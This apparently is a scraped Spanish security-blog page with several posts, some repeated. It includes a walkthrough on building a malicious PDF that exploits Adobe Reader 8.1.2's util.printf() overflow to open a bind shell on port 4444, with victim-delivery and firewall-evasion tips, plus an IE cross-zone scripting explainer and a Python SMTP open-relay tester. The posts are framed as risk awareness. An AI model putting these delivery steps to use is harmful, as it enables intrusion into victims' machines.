Si bien no quise extender más el artículo, existen otras formas de realizar ataques, como usando la función asfunction e incrustrando HTML dentro del flash (algo mencioné, pero no mostré cómo). Para leer un poco más, vean las referencias, donde hay buen material.
Referencias
- Testing for Cross site Flashing OWASP.
- A Lazy Pen Tester’s Guide to Testing Flash Applications.
- XSS Vulnerabilities in Common Shockwave Flash Files.
- Testing Flash Applications - 6th OWASP AppSec Conference May 2007 (Stefano Di Paola).
- XSS Attacks - Cross Site Scripting Exploits and Defence (Jeremiah Grossman, Robert "RSnake" Hansen, Petko "pdp" D. Petkov, Anto Rager, Seth Fogie).
Introducción
El propósito de este artículo es demostrar los riesgos que se corren cuando se utiliza Adobe Reader con Javascript activado. Un documento Adobe Reader malicioso puede permitirle a un atacante tener acceso a las máquinas de los usuarios y sus archivos, ejecutar código arbitrario, provocar denegación de servicio y utilizarlas como pívot para acceder a otros equipos de la intranet.
La firma de seguridad "ScanSafe" anunció que, según su cuenta, los documentos PDF maliciosos conformaron el 80% de los exploits para el final de 2009, como se informa en el sitio COMPUTERWORLD:
http://www.computerworld.com/s/article/9157438/Rogue_PDFs_account_for_80_of_all_exploits_says_researcher
Como ejemplo se utiliza una vulnerabilidad de stack overflow en la versión 8.1.2 de Adobe Reader, lo cual permite la ejecución de código arbitrario de forma remota.
Desarrollo
A continuación se detalla el procedimiento utilizado para tener acceso remoto a la máquina local.
La vulnerabilidad explotada consiste en un stack overflow en la función de Javascript util.printf() de Adobe Reader. Esta vulnerabilidad se detalla en el siguiente boletín del sitio SecurityFocus:
http://www.securityfocus.com/bid/30035/info
Esta vulnerabilidad se explota construyendo un documento PDF que contiene un formulario con una porción de código Javascript. Este código malicioso realiza un overflow de la pila en la llamada a la función util.printf(), lo que permite ligar una instancia del intérprete de comandos de Windows (cmd.exe) a un puerto aleatorio (en este caso el puerto 4444) para que el atacante se conecte de forma remota y ejecute comandos arbitrarios (utilizando telnet, netcat, etc.).
Para construír el documento PDF con Javascript se utiliza "Scribus", una aplicación Open Source para autoedición (http://www.scribus.net). En los sistemas operativos de la familia Debian se instala a través del comando:
sudo apt-get install scribus
En este caso se utilizó un botón para ejecutar el exploit, aunque se puede disparar automáticamente ante cualquier evento, como por ejemplo al abrir, cerrar o realizar cualquier otra acción sobre el documento PDF.
Para agregar un botón, se selecciona "Button" en la barra de herramientas "PDF Tools". Luego de dibujar el botón con el mouse, se hace clic derecho sobre el mismo y se selecciona "PDF Options > Field Properties". En la pestaña "Action" se selecciona "Type: Javascript", "Event: Mouse Down" y luego se inserta el código del exploit en el campo "Script:", el cual se puede descargar desde:
http://www.milw0rm.com/exploits/7006
Luego se presiona "OK" y se selecciona "File > Export > Save as PDF".
El atacante puede enviar este documento a la víctima a través de distintos medios, como puede ser correo electrónico, aplicaciones de Chat, IRC, pendrives, etc. Una vez que la víctima abre el documento (utilizando Adobe Reader con Javascript activado) se ejecuta el exploit y se abre el puerto 4444 para que el atacante se conecte al intérprete de comandos de forma remota.
En la siguiente figura se observa el documento abierto con Adobe Reader:
De esta forma el atacante logra control total de la máquina de la víctima de forma remota, lo único que necesita es enviar el documento por correo electrónico y esperar que la víctima lo abra.
Desde la máquina de la víctima, se observa la conexión establecida con la máquina del atacante, consultando al sistema operativo:
Si la intranet está protegida por un firewall/proxy, se puede modificar el exploit (cambiando el payload) para que sea la máquina víctima quien inicie la conexión con la máquina del atacante (por ejemplo a través de un túnel con el proxy). De esta forma las máquinas en la intranet son vulnerables a cualquier atacante externo.
Por otra parte, a pesar de que el antivirus de McAfee detectó algunos documentos PDF con exploits de diferentes vulnerabilidades, no detectó este exploit en particular.
Parche
Desactivar Javascript en todas las versiones de Adobe Reader y mantener actualizado Adobe Reader o migrar a una aplicación alternativa como Foxit Reader en los sistemas Windows.
Solución
Formatear el disco C:\ e instalar cualquier distribución GNU/Linux. Utilizar "evince" (http://www.gnome.org/projects/evince).
El propósito de este artículo es demostrar los riesgos que se corren cuando se utiliza Adobe Reader con Javascript activado. Un documento Adobe Reader malicioso puede permitirle a un atacante tener acceso a las máquinas de los usuarios y sus archivos, ejecutar código arbitrario, provocar denegación de servicio y utilizarlas como pívot para acceder a otros equipos de la intranet.
La firma de seguridad "ScanSafe" anunció que, según su cuenta, los documentos PDF maliciosos conformaron el 80% de los exploits para el final de 2009, como se informa en el sitio COMPUTERWORLD:
http://www.computerworld.com/s/article/9157438/Rogue_PDFs_account_for_80_of_all_exploits_says_researcher
Como ejemplo se utiliza una vulnerabilidad de stack overflow en la versión 8.1.2 de Adobe Reader, lo cual permite la ejecución de código arbitrario de forma remota.
Desarrollo
A continuación se detalla el procedimiento utilizado para tener acceso remoto a la máquina local.
La vulnerabilidad explotada consiste en un stack overflow en la función de Javascript util.printf() de Adobe Reader. Esta vulnerabilidad se detalla en el siguiente boletín del sitio SecurityFocus:
http://www.securityfocus.com/bid/30035/info
Esta vulnerabilidad se explota construyendo un documento PDF que contiene un formulario con una porción de código Javascript. Este código malicioso realiza un overflow de la pila en la llamada a la función util.printf(), lo que permite ligar una instancia del intérprete de comandos de Windows (cmd.exe) a un puerto aleatorio (en este caso el puerto 4444) para que el atacante se conecte de forma remota y ejecute comandos arbitrarios (utilizando telnet, netcat, etc.).
Para construír el documento PDF con Javascript se utiliza "Scribus", una aplicación Open Source para autoedición (http://www.scribus.net). En los sistemas operativos de la familia Debian se instala a través del comando:
sudo apt-get install scribus
En este caso se utilizó un botón para ejecutar el exploit, aunque se puede disparar automáticamente ante cualquier evento, como por ejemplo al abrir, cerrar o realizar cualquier otra acción sobre el documento PDF.
Para agregar un botón, se selecciona "Button" en la barra de herramientas "PDF Tools". Luego de dibujar el botón con el mouse, se hace clic derecho sobre el mismo y se selecciona "PDF Options > Field Properties". En la pestaña "Action" se selecciona "Type: Javascript", "Event: Mouse Down" y luego se inserta el código del exploit en el campo "Script:", el cual se puede descargar desde:
http://www.milw0rm.com/exploits/7006
Luego se presiona "OK" y se selecciona "File > Export > Save as PDF".
El atacante puede enviar este documento a la víctima a través de distintos medios, como puede ser correo electrónico, aplicaciones de Chat, IRC, pendrives, etc. Una vez que la víctima abre el documento (utilizando Adobe Reader con Javascript activado) se ejecuta el exploit y se abre el puerto 4444 para que el atacante se conecte al intérprete de comandos de forma remota.
En la siguiente figura se observa el documento abierto con Adobe Reader:
Antes de ejecutar el exploit se consulta al sistema operativo para determinar que el puerto 4444 está cerrado:
Una vez que se presiona el botón, se ejecuta el exploit y se abre una instancia del intérprete de comandos ligado al puerto 4444. Se consulta nuevamente al sistema operativo y se observa que el puerto 4444 está abierto y listo para iniciar conexiones:
A partir de este momento, desde la máquina del atacante se puede iniciar una sesión remota en la máquina del cliente y ejecutar comandos arbitrarios utilizando telnet o netcat, como se observa en la siguiente figura:
Desde la máquina de la víctima, se observa la conexión establecida con la máquina del atacante, consultando al sistema operativo:
Por otra parte, a pesar de que el antivirus de McAfee detectó algunos documentos PDF con exploits de diferentes vulnerabilidades, no detectó este exploit en particular.
Parche
Desactivar Javascript en todas las versiones de Adobe Reader y mantener actualizado Adobe Reader o migrar a una aplicación alternativa como Foxit Reader en los sistemas Windows.
Solución
Formatear el disco C:\ e instalar cualquier distribución GNU/Linux. Utilizar "evince" (http://www.gnome.org/projects/evince).
Siguiendo con la seguidilla de ataques cross, hoy les traigo un ataque no tan citado, pero igualmente importante.
Si antes nos metimos con la forma en que un server nos puede ayudar (método TRACE habilitado), ahora nos metemos con lo que un browser nos puede dar.
El Cross Zone Scripting, también conocido como Cross Domain Attack, se basa en falencias del browser para acceder cosas que de otra forma no podríamos ver.
Este ataque está pensado para el concepto de zonas, implementado en Internet Explorer (pero no específico de éste, dado que es un concepto genérico). Este concepto se basa en diferentes niveles de confianza dependiendo la zona en que se encuentre un site. Por ejemplo, las zonas predefinidas en IE son:
Local intranet, Trusted sites y Local Computer son las zonas con mayores privilegios, mientras que Internet es la zona con menos privilegios.
Cada site se ubica en una zona diferente, dependiendo la confianza que tengamos en el site. Por default, si no asignamos una zona a un site, éste se ubicará en la zona Internet.
Lo que se busca hacer con éste tipo de ataques es lograr ejecutar código de un site que está en la zona Internet (con pocos privilegios) como si perteneciera a una zona con privilegios (preferentemente Local Computer), es decir, escalar privilegios. Estando en la zona apropiada, el browser podría permitirnos hasta instalar programas en la computadora.
En la página de wikipedia se pueden encontrar algunos ejemplos de cómo explotar esta vulnerabilidad, pero supuestamente ya están parchados en versiones actuales de Internet explorer.
Un ejemplo bastante moderno que pueden probar es el listado en una entrada del 2008 en milw0rm. Allí se muestra un exploit que permite a una página no confiable ejecutar un programa (en el ejemplo la calculadora de windows). El cross-zone se logra cuando un usuario intenta imprimir la página utilizando la opción table of links. El script de impresión genera un nuevo HTML a partir del original y ahí se inserta el programa a ejecutar. Como el proceso de impresión se ejecuta con privilegios Local Computer, IE le permitirá al atacante ejecutar lo que desee. Yo lo probé en IE6 viejo y anda perfecto, supuestamente también anda en IE7 y en IE8b.
Hace unos días también leí sobre un nuevo ataque. Si el atacante logra adivinar el path completo a la versión almacenada en cache de la página que se está visualizando , éste podría incluir en el código de la página maliciosa una redirección desde la página actual a la versión que está almacenada en cache. Como la página que está en cache está en la máquina local, ésta se ejecutará con los máximos permisos, evadiendo el control de zonas! Pueden leer el advisor en Internet Explorer Security Zone restrictions bypass.
Referencias
- Cross-zone scripting (wiki)
Si antes nos metimos con la forma en que un server nos puede ayudar (método TRACE habilitado), ahora nos metemos con lo que un browser nos puede dar.
El Cross Zone Scripting, también conocido como Cross Domain Attack, se basa en falencias del browser para acceder cosas que de otra forma no podríamos ver.
Este ataque está pensado para el concepto de zonas, implementado en Internet Explorer (pero no específico de éste, dado que es un concepto genérico). Este concepto se basa en diferentes niveles de confianza dependiendo la zona en que se encuentre un site. Por ejemplo, las zonas predefinidas en IE son:
# Internet. Zona default. Todo lo que no pertenece a otras zonas va aca.También existe una zona adicional escondida llamada Local Computer zone (o My Computer zone). Esta zona es la más interesante porque permite acceder archivos de la máquina.
# Local intranet.
# Trusted sites. Cuenta con una lista de sitios de confianza, los cuales tienen permitido ejecutarse con mínimas restricciones de seguridad (e.g. ejecutar objetos ActiveX inseguros y sin firmar).
# Restricted sites.
Local intranet, Trusted sites y Local Computer son las zonas con mayores privilegios, mientras que Internet es la zona con menos privilegios.
Cada site se ubica en una zona diferente, dependiendo la confianza que tengamos en el site. Por default, si no asignamos una zona a un site, éste se ubicará en la zona Internet.
Lo que se busca hacer con éste tipo de ataques es lograr ejecutar código de un site que está en la zona Internet (con pocos privilegios) como si perteneciera a una zona con privilegios (preferentemente Local Computer), es decir, escalar privilegios. Estando en la zona apropiada, el browser podría permitirnos hasta instalar programas en la computadora.
En la página de wikipedia se pueden encontrar algunos ejemplos de cómo explotar esta vulnerabilidad, pero supuestamente ya están parchados en versiones actuales de Internet explorer.
Un ejemplo bastante moderno que pueden probar es el listado en una entrada del 2008 en milw0rm. Allí se muestra un exploit que permite a una página no confiable ejecutar un programa (en el ejemplo la calculadora de windows). El cross-zone se logra cuando un usuario intenta imprimir la página utilizando la opción table of links. El script de impresión genera un nuevo HTML a partir del original y ahí se inserta el programa a ejecutar. Como el proceso de impresión se ejecuta con privilegios Local Computer, IE le permitirá al atacante ejecutar lo que desee. Yo lo probé en IE6 viejo y anda perfecto, supuestamente también anda en IE7 y en IE8b.
Hace unos días también leí sobre un nuevo ataque. Si el atacante logra adivinar el path completo a la versión almacenada en cache de la página que se está visualizando , éste podría incluir en el código de la página maliciosa una redirección desde la página actual a la versión que está almacenada en cache. Como la página que está en cache está en la máquina local, ésta se ejecutará con los máximos permisos, evadiendo el control de zonas! Pueden leer el advisor en Internet Explorer Security Zone restrictions bypass.
Referencias
- Cross-zone scripting (wiki)
Después de una semanita de vacaciones vuelvo al trabajo y a los posts.
En esta entrega les traigo una herramienta de desarrollé hace un par de meses para testear servidores SMTP y verificar si son Open Relay. Un servidor de mails es Open Relay si permite a cualquier usuario enviar e-mails sin previa autenticación, esto es, no hace falta ninguna credencial para poder enviar e-mails. Pueden encontrar un ejemplo sobre el uso (o abuso) de un servidor open relay en el post Dando pelea al SPAM: Sender Policy Framework (SPF), donde explico como es posible conectarnos a un servidor SMTP utilizando telnet y enviar e-mails.
La cuestión es que tener servidores Open Relay es feo feo, porque cualquier persona/programa los puede utilizar para enviar e-mails a nombre nuestro. Osea, alguien se podría conectar al servidor de empresa.com y enviar e-mails @empresa.com. El uso común de los Open Relay es enviar SPAM. El spammer se conecta a nuestro servidor y envia e-mails de forma masiva a cualquier parte, y todo a nombre de nuestro dominio emrpesa.com.
Algunas de las consecuencias de este problema es que usan nuestro ancho de banda, llenan nuestros logs, usan nuestro procesador, y lo peor de todo, es que ensucian nuestro nombre. Si nuestro dominio es conocido como spammer, distintos servicios nos listarán en sus listas negras, rebotando nuestros e-mails por ser considerados SPAM (aún en los casos que no es spam).
Obviamente todo esto es malo, y necesitamos hacer algo al respecto. Un punto de partida es revisar si nuestros servidores son Open Relay y configurarlos para que dejen de serlo. Es por eso que escribí este programa, para identificar aquellos servidores con este problema.
El programa está escrito en python y es muy simple. Uno puede indicarle la dirección del servidor a testear, o bien un archivo con una lista de servidores. Además debemos indicar qué dirección de e-mail utilizar para realizar las pruebas. El programa testea el/los servidores con algunas combinaciones de la dirección de e-mail entregada y devuelve 2 archivos: error.log donde se listan los errores encontrados y openrelay.log donde se listan los servidores que son Open Relay.
Un ejemplo del uso del programa es:
donde se testea la posibilidad de enviar e-mails a open@empresa.com desde la cuenta test@test.com. Vale aclarar que los e-mails son realmente enviados en la prueba, osea, traten de poner como destinatario una cuenta que ustedes posean.
El programa dista de ser optimo, dado que algunas combinaciones de e-mails no son necesarias una vez que una de las pruebas anteriores falló... es algo a corregir en alguna próxima versión.
Espero que les sea de utilidad.
En esta entrega les traigo una herramienta de desarrollé hace un par de meses para testear servidores SMTP y verificar si son Open Relay. Un servidor de mails es Open Relay si permite a cualquier usuario enviar e-mails sin previa autenticación, esto es, no hace falta ninguna credencial para poder enviar e-mails. Pueden encontrar un ejemplo sobre el uso (o abuso) de un servidor open relay en el post Dando pelea al SPAM: Sender Policy Framework (SPF), donde explico como es posible conectarnos a un servidor SMTP utilizando telnet y enviar e-mails.
La cuestión es que tener servidores Open Relay es feo feo, porque cualquier persona/programa los puede utilizar para enviar e-mails a nombre nuestro. Osea, alguien se podría conectar al servidor de empresa.com y enviar e-mails @empresa.com. El uso común de los Open Relay es enviar SPAM. El spammer se conecta a nuestro servidor y envia e-mails de forma masiva a cualquier parte, y todo a nombre de nuestro dominio emrpesa.com.
Algunas de las consecuencias de este problema es que usan nuestro ancho de banda, llenan nuestros logs, usan nuestro procesador, y lo peor de todo, es que ensucian nuestro nombre. Si nuestro dominio es conocido como spammer, distintos servicios nos listarán en sus listas negras, rebotando nuestros e-mails por ser considerados SPAM (aún en los casos que no es spam).
Obviamente todo esto es malo, y necesitamos hacer algo al respecto. Un punto de partida es revisar si nuestros servidores son Open Relay y configurarlos para que dejen de serlo. Es por eso que escribí este programa, para identificar aquellos servidores con este problema.
El programa está escrito en python y es muy simple. Uno puede indicarle la dirección del servidor a testear, o bien un archivo con una lista de servidores. Además debemos indicar qué dirección de e-mail utilizar para realizar las pruebas. El programa testea el/los servidores con algunas combinaciones de la dirección de e-mail entregada y devuelve 2 archivos: error.log donde se listan los errores encontrados y openrelay.log donde se listan los servidores que son Open Relay.
#!/usr/bin/python
# -*- coding: utf-8 -*-
######################################################
# Created by: d3m4s1@d0v1v0
# Date: 2009-11-27
# Modified: 2009-11-30
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License v2 as published by
# the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
######################################################
import os
import sys
import smtplib
from optparse import OptionParser
from time import strftime, gmtime
import socket
class smtptester:
def __init__(self):
#self.fromaddr = fromaddr
self.logfile = open("error.log", "w")
self.openrelay = open("openrelay.log", "w")
self.openrelay.write("The following configurations permits to send e-mails:\n")
def __del__(self):
self.logfile.close()
self.openrelay.close()
def set_logfile(self, logfile):
if (os.path.exists(logfile)):
self.logfile = open(logfile, "w")
def test_servers(self, filename, fromaddr, toaddr):
if(not os.path.exists(filename)):
print "file "+f+" doesn't exist!"
exit(-1)
f = open(filename)
for addr in f:
splitedaddr = addr.split(":")
if(len(splitedaddr) > 1):
port = splitedaddr[1]
else:
port = "25"
self.test_server(addr, fromaddr, toaddr, port)
def test_server(self, addr, fromaddr, toaddr, port="25"):
print "--------------------------------"
print "testing server "+addr
server_ip = socket.gethostbyname(addr)
(fromuser, fromdomain) = fromaddr.split("@")
(touser, todomain) = toaddr.split("@")
# the from addresses to test
fromlist = (fromaddr, fromuser+"@"+server_ip, "demasiadovivo@anything.com")
rcptlist = (toaddr, touser+"@"+server_ip, '"'+toaddr+'"'+"@"+server_ip, "@"+server_ip+":"+toaddr)
try:
smtp = smtplib.SMTP(addr, port)
except:
print "can't connect to server: "+str(sys.exc_info()[1])+"\n"
self.logfile.write("can't connect to server: "+str(sys.exc_info()[1])+"\n")
return
msg = ("From: d3m4s1/-\d0v1v0 <%s>\r\nTo: %s \r\nSubject: d3m4s1@d0v1v0 smtp relay test!\r\n\r\nthis is an open relay test\r\n\r\n" %(fromaddr, toaddr))
for rcpttest in rcptlist:
for fromtest in fromlist:
try:
print "testing from: "+fromtest+" to: "+rcpttest+"... ",
smtp.sendmail(fromtest, rcpttest, msg)
smtp.docmd("RSET")
self.openrelay.write("-server address="+addr+", FROM: "+fromtest+", TO: "+rcpttest+"\n")
print "[OK]"
except:
self.logfile.write("["+str(strftime("%Y-%m-%d %H:%M:%S", gmtime()))+"] the mail couldn't be send from: "+fromtest+" to: "+rcpttest+" | error: "+str(sys.exc_info()[1])+"\n")
print "[FAIL]"
smtp.quit()
print ""
# set command line options
parser = OptionParser(usage="usage: %prog <-a|-f> <address|filename> -s <sender> -r <receiver> [options]", version="%prog 0.2")
parser.add_option("-a", "--address",
metavar="SERVER", dest="server", help="server address (test a single server)")
parser.add_option("-p", "--port",
metavar="PORT", dest="port", help="server port (default 25)")
parser.add_option("-f", "--file",
metavar="FILE", dest="filename", help="file containing the address of the servers to test")
parser.add_option("-s", "--sender",
metavar="FROM", dest="sender", help="sender address (e.g. demasiadovivo@example.com)")
parser.add_option("-r", "--receiver",
metavar="RCPT", dest="receiver", help="receiver address (e.g. other@example.com)")
(options, args) = parser.parse_args()
if((not options.server) and (not options.filename)):
parser.print_help()
exit(-1)
tester = smtptester()
if(options.sender and options.receiver):
if(options.server):
tester.test_server(options.server, options.sender, options.receiver, options.port)
elif(options.filename):
tester.test_servers(options.filename, options.sender, options.receiver)
else:
parser.print_help()
else:
parser.print_help()
Un ejemplo del uso del programa es:
# ./smtp-tester.py -a 192.168.1.25 -s test@test.com -r open@empresa.com
--------------------------------
testing server 192.168.1.25
testing from: test@test.com to: open@empresa.com... [OK]
testing from: test@192.168.1.25 to: open@empresa.com... [OK]
testing from: demasiadovivo@anything.com to: open@empresa.com... [OK]
testing from: test@test.com to: test@192.168.1.25... [FAIL]
testing from: test@192.168.1.25 to: test@192.168.1.25... [FAIL]
testing from: demasiadovivo@anything.com to: test@192.168.1.25... [FAIL]
testing from: test@test.com to: "open@empresa.com"@192.168.1.25... [FAIL]
testing from: test@192.168.1.25 to: "open@empresa.com"@192.168.1.25... [FAIL]
testing from: demasiadovivo@anything.com to: "open@empresa.com"@192.168.1.25... [FAIL]
testing from: test@test.com to: @192.168.1.25:open@empresa.com... [FAIL]
testing from: test@192.168.1.25 to: @192.168.1.25:open@empresa.com... [FAIL]
testing from: demasiadovivo@anything.com to: @192.168.1.25:open@empresa.com... [FAIL]
donde se testea la posibilidad de enviar e-mails a open@empresa.com desde la cuenta test@test.com. Vale aclarar que los e-mails son realmente enviados en la prueba, osea, traten de poner como destinatario una cuenta que ustedes posean.
El programa dista de ser optimo, dado que algunas combinaciones de e-mails no son necesarias una vez que una de las pruebas anteriores falló... es algo a corregir en alguna próxima versión.
Espero que les sea de utilidad.
En la empresa donde trabajo utilizamos el antivirus McAfee, y realmente me sorprendió la funcionalidad provista por la herramienta de administración ePolicy Orchestrator (conocido como ePO entre los amigos). El otro día tuve una capacitación al respecto y me dejó con una muy buena imagen del software, el cual es un lujo para el administrador.Si bien McAfee puede no ser el antivirus con mejores referencias en los reviews de detección, la realidad es que no me puedo quejar. En el tiempo que llevo trabajando aca no hemos tenido serios problemas con virus, más allá de las clásicas detecciones.
Para el que no la conozca, ePolicy Orchestrator es una herramienta que nos permite administrar los antivirus instalados en todas las máquinas de la red, permitiendo ver reportes muy customizables (cientos de opciones) sobre lo que sucede en la red, además de facilitarnos la tarea de actualizar los motores de antivirus instalados en cada máquina, como así también establecer políticas.
Esta completísima herramienta nos deja organizar la red en grupos de máquinas y establecer políticas por grupos. También es posible establecer políticas por máquina, o para todas las máquinas.
Las políticas son instrucciones sobre cómo actuar ante diferentes eventos. A través de ellas podemos hacer cosas como forzar que el antivirus siempre elimine un archivo cuando está infectado, o avisar al usuario para tomar acción. También es posible fijar los servidores de actualización de cada grupo de máquinas.
Pero eso no es todo, también podemos establecer políticas sobre a qué archivos o claves de registro puede acceder el usuario, o proceso, reportando o negando la acción. Lo mismo para los ejecutables que puede abrir cada usuario. Permite una granularidad muy fina sobre qué puede y qué no puede hacer un dado usuario, grupo, o máquina.
La parte de reportes es, como dije, excelente. Nos permite ver estadísticas e información sobre los eventos que ocurren en la red. Es así como podemos rápidamente observar cuáles fueron los virus con más detecciones, las máquinas/usuarios que reportaron mayor cantidad de infecciones.
Todo es customizable a través de filtros, y podemos armar reportes (muy flexibles) con los datos que más nos interesen y enviarlos por mail.
Toda esta magia se lleva a cabo instalando un servidor Orchestrator y agentes en cada máquina. El agente no es el antivirus, sino el que se comunica con el servidor para obtener los comandos. A través de los agentes podemos enviar comandos para que se instale un antivirus o alguna otra herramienta de McAfee (antispam, firewall, etc).
Los agentes se comunican con el servidor cada ciertos intervalos de tiempo (que se pueden customizar). Cada vez que se conecta al servidor puede obtener comandos (políticas, acciones, configuraciones, etc) o enviar reportes sobre lo que sucedió en la máquina donde se encuentra instalado. Si hay algo para hacer, el server se lo indica y el agente procede.
Como se habrán cuenta, el funcionamiento es idéntico al de una botnet, con un servidor de comandos y los bots que son los agentes.
Este sistema hace la vida del administrador de red más placentera (si es que puede ser placentera), porque de esta forma todo trabajo se realiza administrando un servidor en lugar de tener que ir máquina por máquina cambiando configuraciones. La consola se accede a través de interfaz web y permite tener distintos niveles de usuarios. Es posible crear roles de usuarios con sus correspondientes vistas.
El administrador se limita a armar las configuración que desea y el servidor se encarga de hablar con los agentes y ocuparse de que las cosas se hagan. Si algo falla, el servidor lo reporta.
Imagínense, el admin puede decir, quiero que todas estas máquinas no puedan ejecutar tal proceso, o quiero que estas máquinas utilicen este motor de antivirus, o quiero que me reporten tales datos... es realmente un lujo.
Además de la parte administrable, el Orchestrator nos permite reducir el uso de ancho de banda porque funciona como servidor de updates. Es decir, Orchestrator se conecta a la página de McAfee, descarga los updates y luego lo distribuye a todas la máquinas de la red interna.
También es posible tener repositorios de updates separados al orchestrator por si nuestra red está dividida en sectores, o por si tenemos muchas máquinas y no queremos saturar al pobre Orchestrator.
En resumen, considero esta herramienta un lujo. Posiblemente existan soluciones de otros proveedores de antivirus que sean similares a esta, pero no creo que puedan tener mucho más de lo que ésta trae.
Si deben administrar cientos de máquinas en una organización utilizando Windows, les recomiendo que le den un vistazo a este excelente producto.
Quiero dejar en claro que cuando hablo de excelente herramienta, me refiero a funcionalidad. Este, como todo software, tiene sus problemas de vulnerabilidades. Existen versiones de agentes vulnerables a exploits tan graves como remote code execution. Es claro que tener un programa más en la máquina escuchando en un puerto genera un problema más de seguridad. Esto se puede mejorar instalando firewalls locales y filtrando todo acceso que no provenga del Orchestrator.
Si desean leer un poco más sobre este producto, descarguen la guía de ePolicy Orchestrator provista por McAfee, la cual provee información sobre arquitectura, funcionamiento, instalación y algún que otro dato más.
Después del post número 100, como arrancamos nuevo mes, no me queda otra que hacer un nuevo ranking de posts, esta vez con lo más leído durante enero.
Enero es un mes de vacaciones por estos lares así que el público se redujo un poco. Igual se leyó bastante, sobre todo los artículos de XSS.
En fin, la hago corta y hago el clásico top 5 de lo más leído:
1. Rompiendo a lo grande: XSS avanzado. Luego de conocer el funcionamiento básico del XSS, nada mejor que conocer algunas técnicas avanzadas. En este post trato algunas técnicas avanzadas como XSS a través de POST, XSS Shell y Cross-Site Tracing.
2. Combatiendo el Cross Site Scripting. Porque trabajamos en seguridad, no nos alcanza con conocer el ataque, sino que también necesitamos defendernos. El XSS es relativamente simple de evitar, pero hay que prestar mucha atención y seguir algunas reglas básicas.
3. Tunear logs de SQL Server. Si administras bases de datos SQL Server es necesario loggear, y para loggear hace falta conocer las herramientas que MS provee, por eso escribí este post.
4. Crear máquina virtual en CentOS usando Xen. Un clásico de los top de mes, este artículo sigue siendo de los más útiles para los navegantes y me alegra mucho. Si van a virtualizar, consideren Xen como una excelente opción.
5. Cómo crear un corrector ortográfico. Otro clásico. Te moris por saber como funciona un corrector ortográfico? bueno, este es tu post =P
Enero es un mes de vacaciones por estos lares así que el público se redujo un poco. Igual se leyó bastante, sobre todo los artículos de XSS.
En fin, la hago corta y hago el clásico top 5 de lo más leído:
1. Rompiendo a lo grande: XSS avanzado. Luego de conocer el funcionamiento básico del XSS, nada mejor que conocer algunas técnicas avanzadas. En este post trato algunas técnicas avanzadas como XSS a través de POST, XSS Shell y Cross-Site Tracing.
2. Combatiendo el Cross Site Scripting. Porque trabajamos en seguridad, no nos alcanza con conocer el ataque, sino que también necesitamos defendernos. El XSS es relativamente simple de evitar, pero hay que prestar mucha atención y seguir algunas reglas básicas.
3. Tunear logs de SQL Server. Si administras bases de datos SQL Server es necesario loggear, y para loggear hace falta conocer las herramientas que MS provee, por eso escribí este post.
4. Crear máquina virtual en CentOS usando Xen. Un clásico de los top de mes, este artículo sigue siendo de los más útiles para los navegantes y me alegra mucho. Si van a virtualizar, consideren Xen como una excelente opción.
5. Cómo crear un corrector ortográfico. Otro clásico. Te moris por saber como funciona un corrector ortográfico? bueno, este es tu post =P
Aunque no lo crea, he llegado al post número 100 en IT Freek. Cuando empecé no pensaba en que podría mantener el blog por tanto tiempo, así que estoy realmente orgulloso de haber llegado al número 100 en menos de un año.
Para festejar la centena de post, me gustaría hacer un top 10 personal de los artículos que escribí. Si bien es claro que escribo sobre temas que me interesan, por lo que todos los artículos me resultan interesantes, es obvio que surge una preferencia en cuanto a la calidad, utilidad y el tiempo que me llevó escribir un dado artículo, sobre todo valuando el tiempo tomado para investigar y el aprendizaje que logré a partir de él. Es por eso que, si tengo que elegir 10 de mis artículos, me quedaría con los siguientes:
1. Cruzando información, Cross-Site Scripting (XSS), Rompiendo a lo grande: XSS avanzado y Combatiendo el Cross Site Scripting. Sin dudas mi favorito, por ser mi ataque web preferido, por la cantidad de horas dedicadas a investigar y por todo lo que aprendí en el proceso. Luego del libro XSS Attacks, creo que, en conjunto con algunos artículos que publiqué luego (Reflected XSS a través de SQL Injection y Cross-Site Request Frogery (CSRF): Haz lo que quiero sin que lo sepas), esta es la referencia más completa al XSS.
2. Crear máquina virtual en CentOS usando Xen. Sin dudas el artículo que ha resultado más útil para los navegantes, siendo el más leído del blog. Este artículo cubre todos los pasos y aclara todas las dificultades sobre cómo crear una máquina virtual en Xen. Si bien existen varias herramientas actualmente para realizar este trabajo, nunca hay algo más efectivo que hacer todo desde la consola. En el artículo se suman todas las experiencias que viví luego de horas de investigación y pruebas.
3. Hacking Bluetooth: ni tan fácil, ni tan imposible. Bluetooth está presente en prácticamente todo cacharro que llevamos encima, por ello me pareció necesario conocer los riesgos que corremos, y qué herramientas existen actualmente para realizar ataques. No fue tan fácil encontrar información realmente útil, así que recopilé lo mejor de muchas horas de investigación.
4. Buffer Overflow, un asesino en serie y Evitando que un programa explote, técnicas para detectar buffer overflows. Artículo partido en dos partes por su extensión, es uno de los que considero must read. Pasaron los años pero el problema del buffer overflow persiste y va a seguir existiendo, siendo de los problemas más graves que afecta nuestros sistemas. Considero necesario saber cómo funciona y con qué contamos para defendernos. En conjunto con la serie XSS, cuentan con la mayor investigación que he realizado para este blog.
5. sex + viagra + porn + drugs = SPAM! y Dando pelea al SPAM: Sender Policy Framework (SPF). El SPAM no da tregua, varios reportes indican que durante 2009 representó el 95% del total de mails enviados, por eso es necesario conocer las técnicas anti-spamming y utilizarlas de la mejor manera posible.
6. Server TFTP + Actualización IOS. Otro que considero de extrema utilidad. Si trabajan con redes, en algún momento se toparán con TFTP y probablemente necesiten actualizar IOS, y ahí se acordarán de éste artículo.
7. FAQ GNU/Linux y Programas en GNU/Linux. Luego de leer las mismas preguntas una y otra vez en el foro linuxespanol.com se me ocurrió realizar este FAQ. En conjunto con otros muchos FAQs de linux que andan dando vueltas, lo considero como una excelente introducción para quienes deseen utilizar este sistema operativo. A su vez, todo el que se inicia en Linux necesita conocer qué programas utilizar para realizar las tareas que necesitan, y por eso armé un compilado con nombres de programa y utilidad.
8. Cloud Computing: dónde mierd* están mis datos???. Durante el año pasado se le dio muchisima importancia a una cosa, el Cloud Computing. Actualmente no se deja de hablar de él, sus beneficios y los riesgos de seguridad que representan. Por esto creo que es interesante tener aunque sea una mínima idea de lo que trata y los servicios que ofrece y por eso planteo la lectura de este artículo.
9. Construyendo un Bootstrap. El bajo nivel es uno de mis temas favoritos y no muy tratado actualmente en la era del alto nivel. Es por eso que ésta investigación sobre cómo crear un bootstrap me resultó tan interesante, porque se aprende qué hay debajo y cómo se programa.
